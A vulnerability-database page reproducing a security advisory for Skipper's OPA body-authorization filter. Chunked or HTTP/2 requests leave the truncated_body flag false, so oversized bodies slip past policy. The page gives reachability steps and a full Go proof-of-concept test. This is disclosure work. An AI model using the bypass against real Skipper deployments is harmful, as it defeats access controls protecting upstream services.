Vulnerability-Lookup

GHSA-5GPM-RGJ3-9Q76

Vulnerability from github – Published: 2026-09-17 17:05 – Updated: 2026-09-17 17:05

Summary

Skipper has OPA body-authz bypass: truncated_body mitigation fails open on chunked/HTTP-2 (incomplete fix GHSA-8qqm-fp2q-v734)

Details

Affected component: filters/openpolicyagent/openpolicyagent.go → ExtractHttpBodyOptionally; combined with github.com/open-policy-agent/opa-envoy-plugin envoyauth/request.go → getParsedBody / checkIfHTTPBodyTruncated. Filter: opaAuthorizeRequestWithBody.
Affected versions: <= 0.27.33 (current HEAD e7d7014c). The truncated_body mitigation was introduced/recommended in v0.27.26 (advisory GHSA-8qqm-fp2q-v734) and remains bypassable.
Fix chain being audited: CVE-2026-50197 (GHSA-659f-rgp5-w4wf, commit 3152f3b0) → GHSA-8qqm-fp2q-v734 (docs + code, commit 1be950cd #4126, v0.27.26). This finding is the third, still-open variant.

Summary

Skipper's opaAuthorizeRequestWithBody filter authorizes requests by handing the (bounded) request body to Open Policy Agent. When a body exceeds -open-policy-agent-max-request-body-size (default 1 MB), Skipper truncates it before OPA sees it. Advisory GHSA-8qqm-fp2q-v734 established that deny-on-presence / body-inspecting policies fail OPEN on oversized bodies, and its remediation instructs policy authors to guard on input.attributes.request.http.truncated_body (implemented as the top-level input.truncated_body):

default allow := false
allow if {
    input.truncated_body == false
    # ... body-based conditions
}

That mitigation is itself incomplete. The truncated_body flag is computed by the OPA envoy plugin only when a content-length header is present. A request sent with Transfer-Encoding: chunked (HTTP/1.1) or over HTTP/2 carries no content-length, so truncated_body is left false even though Skipper truncated the body. The mitigated policy therefore evaluates input.truncated_body == false as true and ALLOWS the request, while the full, un-inspected oversized payload is forwarded to the upstream (Skipper's bufferedBodyReader streams the buffered prefix and then continues draining the original body).

The transport that defeats the mitigation — chunked / HTTP-2 without Content-Length — is the exact transport class the original CVE-2026-50197 was about; the GHSA-8qqm fix closed the declared-Content-Length variant and its positive-control test only exercised small chunked bodies, never oversized chunked bodies.

Root cause

opa-envoy-plugin/envoyauth/request.go:

func getParsedBody(...) (any, bool, error) {
    if val, ok := headers["content-type"]; ok {
        if strings.Contains(val, "application/json") {
            ...
            if val, ok := headers["content-length"]; ok {          // <-- only path that sets truncation
                truncated, err := checkIfHTTPBodyTruncated(val, int64(len(body)))
                ...
                if truncated { return nil, true, nil }
            }
            ...
        } else if ... "application/x-www-form-urlencoded" { /* same content-length gate */ }
          else if ... "multipart/form-data"            { /* same content-length gate */ }
    }
    return data, false, nil     // <-- no content-length  ==> truncated_body = false
}

func checkIfHTTPBodyTruncated(contentLength string, bodyLength int64) (bool, error) {
    cl, _ := strconv.ParseInt(contentLength, 10, 64)
    if cl != -1 && cl > bodyLength { return true, nil }
    return false, nil
}

Truncation can only ever be signalled by comparing content-length against the received body length. With chunked/HTTP-2 there is no content-length, so the comparison is skipped and truncated_body is reported false. Skipper (ExtractHttpBodyOptionally) meanwhile does truncate the chunked body to maxBodyBytes (it sets expectedSize = maxBodyBytes when req.ContentLength < 0), producing the exact divergence: OPA is told "not truncated", but the body was truncated, and the backend receives the whole thing.

Reachability

Deployment runs opaAuthorizeRequestWithBody with a body-inspecting policy that follows the GHSA-8qqm mitigation (allow if input.truncated_body == false). This is the maintainer-recommended configuration (advisory + v0.27.26 docs).
Attacker sends a request whose body exceeds max-request-body-size using Transfer-Encoding: chunked (or HTTP/2). No content-length header is present.
ExtractHttpBodyOptionally reads/truncates the body to maxBodyBytes; rawBody is the truncated prefix.
AdaptToExtAuthRequest forwards the lowercased headers (no content-length) and the truncated RawBody to OPA.
getParsedBody finds no content-length → truncated_body = false; for a non-parsed content-type it also returns parsed_body = null with no error.
Policy: input.truncated_body == false is satisfied → allow = true.
Skipper forwards the request; bufferedBodyReader.Read serves the buffered prefix and then continues reading the original req.Body, delivering the full oversized payload to the upstream.

Every guard on the path is accounted for: the only "guard" is truncated_body, and it is defeated by omitting content-length.

Impact

Bypass of OPA request-body authorization for any deployment that adopted the official truncated_body mitigation. Requests that the policy is meant to reject (oversized / un-inspectable bodies, or bodies whose forbidden content lies beyond the inspection window) are authorized and forwarded in full to the protected upstream. Same security property and severity class as CVE-2026-50197 / GHSA-8qqm (both High).

CVSS 3.1

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N = 7.5 High

AV:N — remote HTTP request.
AC:L — single crafted request; no race/special conditions (just chunked framing + padding).
PR:N / UI:N — unauthenticated, no user interaction.
S:U — impact within the authorized component/upstream trust scope.
C:N — no direct disclosure by the bypass itself.
I:H — authorization control is bypassed; forbidden request content reaches the upstream (integrity of the access-control decision / protected resource).
A:N — not primarily an availability issue.

(Conditional: exploitable only where opaAuthorizeRequestWithBody is used with a truncated_body-gated policy — i.e. deployments that followed the GHSA-8qqm mitigation. Consistent with the conditional nature of the parent CVEs.)

Proof of Concept

Executable Go test added to the OPA filter package. It stands up a real Skipper proxy (proxy.WithParams) + a real OPA control plane (opasdktest) with WithMaxRequestBodyBytes(32) and the advisory's verbatim mitigation policy (allow if input.truncated_body == false), routed to a recording upstream.

Positive control — oversized body with Content-Length → truncated_body=true → 403 (mitigation works).
Bypass — identical oversized body sent chunked (no Content-Length) → truncated_body=false → 200, and the upstream receives the full 66-byte payload past the 32-byte inspection cap.

Command and observed benign output:

$ go test ./filters/openpolicyagent/ -run TestTruncatedBodyChunkedBypass -count=1 -v

    poc_truncated_body_chunked_test.go:148: [content-length ] status=403 upstream_body_bytes=-1
    poc_truncated_body_chunked_test.go:154: [chunked        ] status=200 upstream_body_bytes=66
--- PASS: TestTruncatedBodyChunkedBypass (0.11s)
PASS

content-length variant → 403, upstream received nothing (-1) — mitigation works.
chunked variant (byte-identical body) → 200, upstream received the full 66-byte payload past the 32-byte cap — authorization bypass.

(Full PoC source is appended below by the submission tool via --poc-file.)

Adversarial re-read (refutation attempts)

"Truncated JSON just fails to parse → fail closed." True for application/json when truncation lands mid-token, but the bypass does not rely on JSON: application/x-www-form-urlencoded parses leniently after truncation, and unparsed/absent content-types return (nil, false, nil) with no error. The load-bearing signal is truncated_body, not parsed_body, and it is false in all these cases.
"Maybe Skipper adds a content-length for chunked before OPA sees it." No — AdaptToExtAuthRequest copies req.Header verbatim (lowercased); a chunked request has no content-length header, and net/http does not synthesise one. Confirmed by reading skipperadapter.go.
"Maybe the mitigation is deny if truncated_body == true (allow-by-default), which is unaffected." Both shapes in the advisory rely on truncated_body correctly reflecting truncation; the deny-if shape simply fails to deny under the same chunked condition. The allow-if shape (shown) fails open directly.
"Is this already covered by CVE-2026-50197?" No. 50197 was the empty-body chunked bypass (OPA saw no body); its fix makes OPA see the truncated prefix. GHSA-8qqm was the declared-Content-Length oversized variant; its fix populates parsed_body and recommends truncated_body. Neither addresses truncated_body being unset for chunked/HTTP-2 oversized bodies. The 8qqm positive-control test only used small chunked bodies.

Result: survives refutation; concrete, reproducible bypass of the published mitigation. Differentiation check passes (incomplete-fix of a published advisory, not a generic surface bug).

Remediation

Do not rely on the client-supplied content-length header to detect truncation. Skipper should signal truncation authoritatively to OPA rather than delegating to the plugin's Content-Length heuristic. Concretely, in ExtractHttpBodyOptionally, detect that the underlying body still has bytes after maxBodyBytes were buffered (e.g. attempt one more read / peek) and propagate a definitive truncation indicator — for example by setting a synthetic content-length (or a dedicated context extension / metadata field) that reflects the real truncation state, so input.truncated_body is true whenever the body was actually cut, regardless of transfer encoding. Alternatively, reject (413) requests whose body exceeds maxBodyBytes when body-based authorization is enabled, instead of silently truncating. Upstream, opa-envoy-plugin should treat "body present but not fully inspectable and no content-length" as truncated rather than defaulting to false.

Confidence

High. Root cause verified in both Skipper and the pinned opa-envoy-plugin@v1.14.1-envoy source; executable PoC demonstrates the status/upstream-body divergence against the maintainer's own recommended mitigation.

Proof-of-Concept source (`poc_truncated_body_chunked_test.go`)

package openpolicyagent_test

import (
    "fmt"
    "io"
    "net/http"
    "net/http/httptest"
    "strings"
    "sync/atomic"
    "testing"
    "time"

    opasdktest "github.com/open-policy-agent/opa/v1/sdk/test"
    "github.com/stretchr/testify/assert"
    "github.com/zalando/skipper/eskip"
    "github.com/zalando/skipper/filters"
    "github.com/zalando/skipper/filters/builtin"
    "github.com/zalando/skipper/filters/openpolicyagent"
    "github.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest"
    "github.com/zalando/skipper/proxy"
    "github.com/zalando/skipper/routing"
    "github.com/zalando/skipper/routing/testdataclient"
)

// TestTruncatedBodyChunkedBypass demonstrates that the GHSA-8qqm-fp2q-v734
// mitigation ("check input.truncated_body in your policy") fails OPEN when the
// oversized request is sent with Transfer-Encoding: chunked (no Content-Length).
//
// The mitigation Rego (verbatim from the advisory):
//
//  default allow := false
//  allow if { input.truncated_body == false }
//
// truncated_body is derived by the OPA envoy plugin ONLY when a content-length
// header is present (opa-envoy-plugin envoyauth/request.go getParsedBody ->
// checkIfHTTPBodyTruncated). A chunked / HTTP-2 request carries no
// content-length, so truncated_body stays false even though Skipper truncated
// the body to max-request-body-size. The mitigated policy therefore ALLOWS an
// oversized body and the full payload reaches upstream.
func TestTruncatedBodyChunkedBypass(t *testing.T) {
    const maxBody = 32
    // oversized url-encoded payload: "a=" + 64 * "A" = 66 bytes > 32.
    payload := "a=" + strings.Repeat("A", 64)

    // upstream records how many body bytes it actually received.
    var upstreamBytes atomic.Int64
    backend := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        n, _ := io.Copy(io.Discard, r.Body)
        upstreamBytes.Store(n)
        w.WriteHeader(200)
        w.Write([]byte("OK"))
    }))
    defer backend.Close()

    bundleName := "test-bundle"
    opaControlPlane := opasdktest.MustNewServer(
        opasdktest.MockBundle("/bundles/"+bundleName, map[string]string{
            // The exact mitigation the advisory recommends.
            "main.rego": `
package envoy.authz

import rego.v1

default allow := false

allow if {
    input.truncated_body == false
}
`,
        }),
    )
    defer opaControlPlane.Stop()

    config := fmt.Appendf(nil, `{
        "services": {"test": {"url": %q}},
        "bundles": {"test": {"resource": "/bundles/{{ .bundlename }}"}},
        "labels": {"environment": "test"},
        "plugins": {"envoy_ext_authz_grpc": {"path": "envoy/authz/allow", "dry-run": false}}
    }`, opaControlPlane.URL())

    opaRegistry, err := openpolicyagent.NewOpenPolicyAgentRegistry(
        openpolicyagent.WithPreloadingEnabled(true),
        openpolicyagent.WithEnableDataPreProcessingOptimization(true),
        openpolicyagent.WithInstanceStartupTimeout(5*time.Second),
        openpolicyagent.WithMaxRequestBodyBytes(maxBody),
        openpolicyagent.WithOpenPolicyAgentInstanceConfig(
            openpolicyagent.WithConfigTemplate(config)),
    )
    if err != nil {
        t.Fatalf("opaRegistry: %v", err)
    }
    defer opaRegistry.Close()

    fr := make(filters.Registry)
    fr.Register(opaauthorizerequest.NewOpaAuthorizeRequestWithBodySpec(opaRegistry))
    fr.Register(builtin.NewSetPath())

    docFmt := `r1: * -> opaAuthorizeRequestWithBody("%s") -> "%s";`
    r := eskip.MustParse(fmt.Sprintf(docFmt, bundleName, backend.URL))
    dc := testdataclient.New(r)
    defer dc.Close()

    rt := routing.New(routing.Options{
        FilterRegistry:  fr,
        DataClients:     []routing.DataClient{dc},
        PreProcessors:   []routing.PreProcessor{opaRegistry.NewPreProcessor()},
        PostProcessors:  []routing.PostProcessor{opaRegistry},
        PollTimeout:     time.Second,
        SignalFirstLoad: true,
    })
    defer rt.Close()
    <-rt.FirstLoad()

    pr := proxy.WithParams(proxy.Params{Routing: rt})
    defer pr.Close()
    ts := httptest.NewServer(pr)
    defer ts.Close()

    inst, err := opaRegistry.GetOrStartInstance(bundleName)
    assert.NoError(t, err)
    assert.NotNil(t, inst)

    doReq := func(chunked bool) (int, int64) {
        upstreamBytes.Store(-1)
        req, err := http.NewRequest("POST", ts.URL, strings.NewReader(payload))
        if err != nil {
            t.Fatalf("new request: %v", err)
        }
        req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
        if chunked {
            // Force chunked framing: no Content-Length reaches the server,
            // so the server sees req.ContentLength == -1.
            req.ContentLength = -1
            req.TransferEncoding = []string{"chunked"}
        }
        rsp, err := ts.Client().Do(req)
        if err != nil {
            t.Fatalf("do: %v", err)
        }
        io.Copy(io.Discard, rsp.Body)
        rsp.Body.Close()
        return rsp.StatusCode, upstreamBytes.Load()
    }

    // POSITIVE CONTROL: oversized body WITH Content-Length.
    // truncated_body == true  -> policy denies. Mitigation works as designed.
    clStatus, clUpstream := doReq(false)
    t.Logf("[content-length ] status=%d upstream_body_bytes=%d", clStatus, clUpstream)
    assert.Equal(t, 403, clStatus, "oversized body with Content-Length must be DENIED (mitigation working)")

    // BYPASS: identical oversized body sent CHUNKED (no Content-Length).
    // truncated_body == false -> policy ALLOWS -> full payload reaches upstream.
    chStatus, chUpstream := doReq(true)
    t.Logf("[chunked        ] status=%d upstream_body_bytes=%d", chStatus, chUpstream)

    assert.Equal(t, 200, chStatus, "BYPASS: oversized chunked body was ALLOWED by the truncated_body mitigation")
    assert.Equal(t, int64(len(payload)), chUpstream,
        "BYPASS: upstream received the FULL oversized payload past OPA authorization")
}

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zalando/skipper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.27.37"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:05:57Z",
    "nvd_published_at": "2026-09-16T19:17:51Z",
    "severity": "HIGH"
  },
  "details": "- **Affected component:** `filters/openpolicyagent/openpolicyagent.go` \u2192 `ExtractHttpBodyOptionally`; combined with `github.com/open-policy-agent/opa-envoy-plugin` `envoyauth/request.go` \u2192 `getParsedBody` / `checkIfHTTPBodyTruncated`. Filter: `opaAuthorizeRequestWithBody`.\n- **Affected versions:** `\u003c= 0.27.33` (current HEAD `e7d7014c`). The `truncated_body` mitigation was introduced/recommended in v0.27.26 (advisory GHSA-8qqm-fp2q-v734) and remains bypassable.\n- **Fix chain being audited:** CVE-2026-50197 (GHSA-659f-rgp5-w4wf, commit `3152f3b0`) \u2192 GHSA-8qqm-fp2q-v734 (docs + code, commit `1be950cd` #4126, v0.27.26). This finding is the third, still-open variant.\n\n## Summary\n\nSkipper\u0027s `opaAuthorizeRequestWithBody` filter authorizes requests by handing the (bounded) request body to Open Policy Agent. When a body exceeds `-open-policy-agent-max-request-body-size` (default 1 MB), Skipper truncates it before OPA sees it. Advisory **GHSA-8qqm-fp2q-v734** established that deny-on-presence / body-inspecting policies fail OPEN on oversized bodies, and its remediation instructs policy authors to **guard on `input.attributes.request.http.truncated_body`** (implemented as the top-level `input.truncated_body`):\n\n```rego\ndefault allow := false\nallow if {\n    input.truncated_body == false\n    # ... body-based conditions\n}\n```\n\nThat mitigation is itself incomplete. The `truncated_body` flag is computed by the OPA envoy plugin **only when a `content-length` header is present**. A request sent with `Transfer-Encoding: chunked` (HTTP/1.1) or over HTTP/2 carries **no `content-length`**, so `truncated_body` is left `false` even though Skipper truncated the body. The mitigated policy therefore evaluates `input.truncated_body == false` as *true* and **ALLOWS** the request, while the **full, un-inspected oversized payload is forwarded to the upstream** (Skipper\u0027s `bufferedBodyReader` streams the buffered prefix and then continues draining the original body).\n\nThe transport that defeats the mitigation \u2014 chunked / HTTP-2 without Content-Length \u2014 is the **exact transport class the original CVE-2026-50197 was about**; the GHSA-8qqm fix closed the declared-Content-Length variant and its positive-control test only exercised *small* chunked bodies, never *oversized* chunked bodies.\n\n## Root cause\n\n`opa-envoy-plugin/envoyauth/request.go`:\n\n```go\nfunc getParsedBody(...) (any, bool, error) {\n    if val, ok := headers[\"content-type\"]; ok {\n        if strings.Contains(val, \"application/json\") {\n            ...\n            if val, ok := headers[\"content-length\"]; ok {          // \u003c-- only path that sets truncation\n                truncated, err := checkIfHTTPBodyTruncated(val, int64(len(body)))\n                ...\n                if truncated { return nil, true, nil }\n            }\n            ...\n        } else if ... \"application/x-www-form-urlencoded\" { /* same content-length gate */ }\n          else if ... \"multipart/form-data\"            { /* same content-length gate */ }\n    }\n    return data, false, nil     // \u003c-- no content-length  ==\u003e truncated_body = false\n}\n\nfunc checkIfHTTPBodyTruncated(contentLength string, bodyLength int64) (bool, error) {\n    cl, _ := strconv.ParseInt(contentLength, 10, 64)\n    if cl != -1 \u0026\u0026 cl \u003e bodyLength { return true, nil }\n    return false, nil\n}\n```\n\nTruncation can only ever be signalled by comparing `content-length` against the received body length. With chunked/HTTP-2 there is no `content-length`, so the comparison is skipped and `truncated_body` is reported `false`. Skipper (`ExtractHttpBodyOptionally`) meanwhile *does* truncate the chunked body to `maxBodyBytes` (it sets `expectedSize = maxBodyBytes` when `req.ContentLength \u003c 0`), producing the exact divergence: OPA is told \"not truncated\", but the body was truncated, and the backend receives the whole thing.\n\n## Reachability\n\n1. Deployment runs `opaAuthorizeRequestWithBody` with a body-inspecting policy that follows the GHSA-8qqm mitigation (`allow if input.truncated_body == false`). This is the maintainer-recommended configuration (advisory + v0.27.26 docs).\n2. Attacker sends a request whose body exceeds `max-request-body-size` using `Transfer-Encoding: chunked` (or HTTP/2). No `content-length` header is present.\n3. `ExtractHttpBodyOptionally` reads/truncates the body to `maxBodyBytes`; `rawBody` is the truncated prefix.\n4. `AdaptToExtAuthRequest` forwards the lowercased headers (no `content-length`) and the truncated `RawBody` to OPA.\n5. `getParsedBody` finds no `content-length` \u2192 `truncated_body = false`; for a non-parsed content-type it also returns `parsed_body = null` with no error.\n6. Policy: `input.truncated_body == false` is satisfied \u2192 `allow = true`.\n7. Skipper forwards the request; `bufferedBodyReader.Read` serves the buffered prefix and then continues reading the original `req.Body`, delivering the **full oversized payload** to the upstream.\n\nEvery guard on the path is accounted for: the only \"guard\" is `truncated_body`, and it is defeated by omitting `content-length`.\n\n## Impact\n\nBypass of OPA request-body authorization for any deployment that adopted the official `truncated_body` mitigation. Requests that the policy is meant to reject (oversized / un-inspectable bodies, or bodies whose forbidden content lies beyond the inspection window) are authorized and forwarded in full to the protected upstream. Same security property and severity class as CVE-2026-50197 / GHSA-8qqm (both High).\n\n## CVSS 3.1\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` = **7.5 High**\n\n- **AV:N** \u2014 remote HTTP request.\n- **AC:L** \u2014 single crafted request; no race/special conditions (just chunked framing + padding).\n- **PR:N / UI:N** \u2014 unauthenticated, no user interaction.\n- **S:U** \u2014 impact within the authorized component/upstream trust scope.\n- **C:N** \u2014 no direct disclosure by the bypass itself.\n- **I:H** \u2014 authorization control is bypassed; forbidden request content reaches the upstream (integrity of the access-control decision / protected resource).\n- **A:N** \u2014 not primarily an availability issue.\n\n(Conditional: exploitable only where `opaAuthorizeRequestWithBody` is used with a `truncated_body`-gated policy \u2014 i.e. deployments that followed the GHSA-8qqm mitigation. Consistent with the conditional nature of the parent CVEs.)\n\n## Proof of Concept\n\nExecutable Go test added to the OPA filter package. It stands up a real Skipper proxy (`proxy.WithParams`) + a real OPA control plane (`opasdktest`) with `WithMaxRequestBodyBytes(32)` and the advisory\u0027s verbatim mitigation policy (`allow if input.truncated_body == false`), routed to a recording upstream.\n\n- **Positive control** \u2014 oversized body **with Content-Length** \u2192 `truncated_body=true` \u2192 **403** (mitigation works).\n- **Bypass** \u2014 identical oversized body sent **chunked** (no Content-Length) \u2192 `truncated_body=false` \u2192 **200**, and the upstream receives the **full** 66-byte payload past the 32-byte inspection cap.\n\nCommand and observed benign output:\n\n```\n$ go test ./filters/openpolicyagent/ -run TestTruncatedBodyChunkedBypass -count=1 -v\n\n    poc_truncated_body_chunked_test.go:148: [content-length ] status=403 upstream_body_bytes=-1\n    poc_truncated_body_chunked_test.go:154: [chunked        ] status=200 upstream_body_bytes=66\n--- PASS: TestTruncatedBodyChunkedBypass (0.11s)\nPASS\n```\n\n- content-length variant \u2192 **403**, upstream received nothing (`-1`) \u2014 mitigation works.\n- chunked variant (byte-identical body) \u2192 **200**, upstream received the **full 66-byte** payload past the 32-byte cap \u2014 **authorization bypass**.\n\n(Full PoC source is appended below by the submission tool via `--poc-file`.)\n\n## Adversarial re-read (refutation attempts)\n\n- *\"Truncated JSON just fails to parse \u2192 fail closed.\"* True for `application/json` when truncation lands mid-token, but the bypass does not rely on JSON: `application/x-www-form-urlencoded` parses leniently after truncation, and unparsed/absent content-types return `(nil, false, nil)` with no error. The load-bearing signal is `truncated_body`, not `parsed_body`, and it is `false` in all these cases.\n- *\"Maybe Skipper adds a content-length for chunked before OPA sees it.\"* No \u2014 `AdaptToExtAuthRequest` copies `req.Header` verbatim (lowercased); a chunked request has no `content-length` header, and net/http does not synthesise one. Confirmed by reading `skipperadapter.go`.\n- *\"Maybe the mitigation is `deny if truncated_body == true` (allow-by-default), which is unaffected.\"* Both shapes in the advisory rely on `truncated_body` correctly reflecting truncation; the deny-if shape simply *fails to deny* under the same chunked condition. The allow-if shape (shown) fails open directly.\n- *\"Is this already covered by CVE-2026-50197?\"* No. 50197 was the *empty-body* chunked bypass (OPA saw no body); its fix makes OPA see the truncated prefix. GHSA-8qqm was the declared-Content-Length oversized variant; its fix populates `parsed_body` and recommends `truncated_body`. Neither addresses `truncated_body` being unset for chunked/HTTP-2 oversized bodies. The 8qqm positive-control test only used small chunked bodies.\n\nResult: survives refutation; concrete, reproducible bypass of the published mitigation. Differentiation check passes (incomplete-fix of a published advisory, not a generic surface bug).\n\n## Remediation\n\nDo not rely on the client-supplied `content-length` header to detect truncation. Skipper should signal truncation authoritatively to OPA rather than delegating to the plugin\u0027s Content-Length heuristic. Concretely, in `ExtractHttpBodyOptionally`, detect that the underlying body still has bytes after `maxBodyBytes` were buffered (e.g. attempt one more read / peek) and propagate a definitive truncation indicator \u2014 for example by setting a synthetic `content-length` (or a dedicated context extension / metadata field) that reflects the real truncation state, so `input.truncated_body` is `true` whenever the body was actually cut, regardless of transfer encoding. Alternatively, reject (413) requests whose body exceeds `maxBodyBytes` when body-based authorization is enabled, instead of silently truncating. Upstream, `opa-envoy-plugin` should treat \"body present but not fully inspectable and no content-length\" as truncated rather than defaulting to `false`.\n\n## Confidence\n\nHigh. Root cause verified in both Skipper and the pinned `opa-envoy-plugin@v1.14.1-envoy` source; executable PoC demonstrates the status/upstream-body divergence against the maintainer\u0027s own recommended mitigation.\n\n\n## Proof-of-Concept source (`poc_truncated_body_chunked_test.go`)\n\n```go\npackage openpolicyagent_test\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\topasdktest \"github.com/open-policy-agent/opa/v1/sdk/test\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/zalando/skipper/eskip\"\n\t\"github.com/zalando/skipper/filters\"\n\t\"github.com/zalando/skipper/filters/builtin\"\n\t\"github.com/zalando/skipper/filters/openpolicyagent\"\n\t\"github.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest\"\n\t\"github.com/zalando/skipper/proxy\"\n\t\"github.com/zalando/skipper/routing\"\n\t\"github.com/zalando/skipper/routing/testdataclient\"\n)\n\n// TestTruncatedBodyChunkedBypass demonstrates that the GHSA-8qqm-fp2q-v734\n// mitigation (\"check input.truncated_body in your policy\") fails OPEN when the\n// oversized request is sent with Transfer-Encoding: chunked (no Content-Length).\n//\n// The mitigation Rego (verbatim from the advisory):\n//\n//\tdefault allow := false\n//\tallow if { input.truncated_body == false }\n//\n// truncated_body is derived by the OPA envoy plugin ONLY when a content-length\n// header is present (opa-envoy-plugin envoyauth/request.go getParsedBody -\u003e\n// checkIfHTTPBodyTruncated). A chunked / HTTP-2 request carries no\n// content-length, so truncated_body stays false even though Skipper truncated\n// the body to max-request-body-size. The mitigated policy therefore ALLOWS an\n// oversized body and the full payload reaches upstream.\nfunc TestTruncatedBodyChunkedBypass(t *testing.T) {\n\tconst maxBody = 32\n\t// oversized url-encoded payload: \"a=\" + 64 * \"A\" = 66 bytes \u003e 32.\n\tpayload := \"a=\" + strings.Repeat(\"A\", 64)\n\n\t// upstream records how many body bytes it actually received.\n\tvar upstreamBytes atomic.Int64\n\tbackend := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tn, _ := io.Copy(io.Discard, r.Body)\n\t\tupstreamBytes.Store(n)\n\t\tw.WriteHeader(200)\n\t\tw.Write([]byte(\"OK\"))\n\t}))\n\tdefer backend.Close()\n\n\tbundleName := \"test-bundle\"\n\topaControlPlane := opasdktest.MustNewServer(\n\t\topasdktest.MockBundle(\"/bundles/\"+bundleName, map[string]string{\n\t\t\t// The exact mitigation the advisory recommends.\n\t\t\t\"main.rego\": `\npackage envoy.authz\n\nimport rego.v1\n\ndefault allow := false\n\nallow if {\n    input.truncated_body == false\n}\n`,\n\t\t}),\n\t)\n\tdefer opaControlPlane.Stop()\n\n\tconfig := fmt.Appendf(nil, `{\n\t\t\"services\": {\"test\": {\"url\": %q}},\n\t\t\"bundles\": {\"test\": {\"resource\": \"/bundles/{{ .bundlename }}\"}},\n\t\t\"labels\": {\"environment\": \"test\"},\n\t\t\"plugins\": {\"envoy_ext_authz_grpc\": {\"path\": \"envoy/authz/allow\", \"dry-run\": false}}\n\t}`, opaControlPlane.URL())\n\n\topaRegistry, err := openpolicyagent.NewOpenPolicyAgentRegistry(\n\t\topenpolicyagent.WithPreloadingEnabled(true),\n\t\topenpolicyagent.WithEnableDataPreProcessingOptimization(true),\n\t\topenpolicyagent.WithInstanceStartupTimeout(5*time.Second),\n\t\topenpolicyagent.WithMaxRequestBodyBytes(maxBody),\n\t\topenpolicyagent.WithOpenPolicyAgentInstanceConfig(\n\t\t\topenpolicyagent.WithConfigTemplate(config)),\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"opaRegistry: %v\", err)\n\t}\n\tdefer opaRegistry.Close()\n\n\tfr := make(filters.Registry)\n\tfr.Register(opaauthorizerequest.NewOpaAuthorizeRequestWithBodySpec(opaRegistry))\n\tfr.Register(builtin.NewSetPath())\n\n\tdocFmt := `r1: * -\u003e opaAuthorizeRequestWithBody(\"%s\") -\u003e \"%s\";`\n\tr := eskip.MustParse(fmt.Sprintf(docFmt, bundleName, backend.URL))\n\tdc := testdataclient.New(r)\n\tdefer dc.Close()\n\n\trt := routing.New(routing.Options{\n\t\tFilterRegistry:  fr,\n\t\tDataClients:     []routing.DataClient{dc},\n\t\tPreProcessors:   []routing.PreProcessor{opaRegistry.NewPreProcessor()},\n\t\tPostProcessors:  []routing.PostProcessor{opaRegistry},\n\t\tPollTimeout:     time.Second,\n\t\tSignalFirstLoad: true,\n\t})\n\tdefer rt.Close()\n\t\u003c-rt.FirstLoad()\n\n\tpr := proxy.WithParams(proxy.Params{Routing: rt})\n\tdefer pr.Close()\n\tts := httptest.NewServer(pr)\n\tdefer ts.Close()\n\n\tinst, err := opaRegistry.GetOrStartInstance(bundleName)\n\tassert.NoError(t, err)\n\tassert.NotNil(t, inst)\n\n\tdoReq := func(chunked bool) (int, int64) {\n\t\tupstreamBytes.Store(-1)\n\t\treq, err := http.NewRequest(\"POST\", ts.URL, strings.NewReader(payload))\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"new request: %v\", err)\n\t\t}\n\t\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\t\tif chunked {\n\t\t\t// Force chunked framing: no Content-Length reaches the server,\n\t\t\t// so the server sees req.ContentLength == -1.\n\t\t\treq.ContentLength = -1\n\t\t\treq.TransferEncoding = []string{\"chunked\"}\n\t\t}\n\t\trsp, err := ts.Client().Do(req)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"do: %v\", err)\n\t\t}\n\t\tio.Copy(io.Discard, rsp.Body)\n\t\trsp.Body.Close()\n\t\treturn rsp.StatusCode, upstreamBytes.Load()\n\t}\n\n\t// POSITIVE CONTROL: oversized body WITH Content-Length.\n\t// truncated_body == true  -\u003e policy denies. Mitigation works as designed.\n\tclStatus, clUpstream := doReq(false)\n\tt.Logf(\"[content-length ] status=%d upstream_body_bytes=%d\", clStatus, clUpstream)\n\tassert.Equal(t, 403, clStatus, \"oversized body with Content-Length must be DENIED (mitigation working)\")\n\n\t// BYPASS: identical oversized body sent CHUNKED (no Content-Length).\n\t// truncated_body == false -\u003e policy ALLOWS -\u003e full payload reaches upstream.\n\tchStatus, chUpstream := doReq(true)\n\tt.Logf(\"[chunked        ] status=%d upstream_body_bytes=%d\", chStatus, chUpstream)\n\n\tassert.Equal(t, 200, chStatus, \"BYPASS: oversized chunked body was ALLOWED by the truncated_body mitigation\")\n\tassert.Equal(t, int64(len(payload)), chUpstream,\n\t\t\"BYPASS: upstream received the FULL oversized payload past OPA authorization\")\n}\n\n```",
  "id": "GHSA-5gpm-rgj3-9q76",
  "modified": "2026-09-17T17:05:57Z",
  "published": "2026-09-17T17:05:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/security/advisories/GHSA-5gpm-rgj3-9q76"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86043"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/commit/2cfceabaa6ff0af65b312dcb9bcbe84691b9d507"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zalando/skipper"
    },
    {
      "type": "WEB",
